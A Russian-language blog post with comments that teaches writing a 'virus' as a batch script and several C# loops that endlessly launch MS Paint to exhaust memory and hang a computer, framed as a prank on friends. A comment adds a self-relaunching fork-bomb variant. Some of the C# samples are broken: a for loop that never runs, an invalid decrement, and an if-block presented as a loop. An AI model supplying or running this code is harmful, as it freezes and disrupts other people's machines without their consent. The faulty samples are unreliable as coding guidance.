пишем вирусы на c#

Пишем вирус на языке программирования C#

Как может быть помните, тут уже была статья как создать вирус, благодаря которому перед пользователем появляются многие сотни окон командной строки, что в свою очередь забивает оперативную память. Напомню, что логика того вируса была в бесконечном открывании одного и того же окна. Ну, а если оперативная память заполниться, то компьютер просто напросто зависнет. В данной статье мы попробуем создать такой же по выполняемой работе вирус, но он будет немного отличаться в коде. К тому же, мы выйдем за рамки простых bat-вирусов и напишем вирус и на языке C#. Вдобавок, на этот раз мы сможем запускать не только окна командной строки, а абсолютно любую программу или файл.

Пишем вирус, бесконечно открывающий любой файл

Чтобы заставить программу делать что-то бесконечно, нужен цикл. Причем цикл должен быть бесконечным. К счастью, в командной строке имеется поддержка циклов. Но работать с ними не сильно удобно. Поэтому мы будем использовать безусловный переход. Ниже приведен весь код, который необходим нашему, в данном случае, bat-вирусу.

[code]:x
start mspaint
goto:x[/code]

Вот эти три строчки заставят программу MS Paint открываться бесконечно. Естественно, для этого нужно создать Bat-файл с данным содержимым и запустить его. Модифицировать данный код можно только в одном месте — Вы можете задать любую другую программу или файл, который должен бесконечно запускаться. В случае с программами, у которых имеется специальные команды быстрого запуска, достаточно указать команду быстрого запуска этого приложения или инструмента. Ну, а если же Вам нужно запускать «чужеродный» предмет в здоровом организме Windows, необходимо указать полный путь до файла. При этом полный путь необходимо взять в кавычки, если там встречается пробел.

Пишем аналогичный вирус на языке C#

Написание же подобной программы на языке C# одно из самых простых заданий. Нам всего лишь нужно быть знакомым с циклами и с методом

[code]Process.Start()[/code]

, который позволяет запускать либо приложение, либо любой другой файл. Чтобы начать использовать данный метод, Вам нужно подключить следующую директиву:

[code]using System. Diagnostics;[/code]

Ну, а после этого перед Вами сразу несколько способов написания вируса на C#, который будет бесконечно открывать, например, программу Paint. Ниже я приведу несколько реализации этого вируса, по одному на каждый цикл и безусловный переход:

[code]while (true)
{
Process. Start(«mspaint»);
}[/code]

[code]do
{
Process. Start(«mspaint»);
}
while (true)[/code]

[code]for (int a=0;a>3;a++)
{
Process. Start(«mspaint»);
a-;
}[/code]

[code]if (1>0)
{
Process. Start(«mspaint»);
}[/code]

[code]metka:Process. Start(«mspaint»);
goto metka;[/code]

В общем, методов решения предостаточно. Можете выбрать любой. Можете даже придумать свой. Главное понять то, что писать вирусы на C# это довольно просто, главное не увлекаться этим. Вот такими незамысловатыми программами можно неплохо подшутить над своими друзьями.

8 КОММЕНТАРИИ

  1. Process.Start(Application.ExecutablePath); — программа запускает саму себя. Если в самом начале Main() эту строку написать, а потом ещё окно вывести (для оконных приложений) или ReadKey() (для консольных) — это будет очень интересно.

  2. Но это ж придется сначала открыть прогу и запустить ее, чтобы вирус сработал, не?

  3. while (true)
    {
    Process. Start(«mspaint»);
    }
    1
    2
    3
    4
    5
    do
    {
    Process. Start(«mspaint»);
    }
    while (true)
    1
    2
    3
    4
    5
    for (int a=0;a>3;a++)
    {
    Process. Start(«mspaint»);
    a-;
    }
    1
    2
    3
    4
    if (1>0)
    {
    Process. Start(«mspaint»);
    }
    1
    2
    metka:Process. Start(«mspaint»);
    goto metka;

  4. Какоц же это вирус? Это простой скрипт. Если автор не вкурсе, то вирус, это программа, кооорая встраивает своц код в другие программы. Называть вышеподобное вирусов, это неуважение ко всей индустрии.

ОСТАВЬТЕ ОТВЕТ

Please enter your comment!
Please enter your name here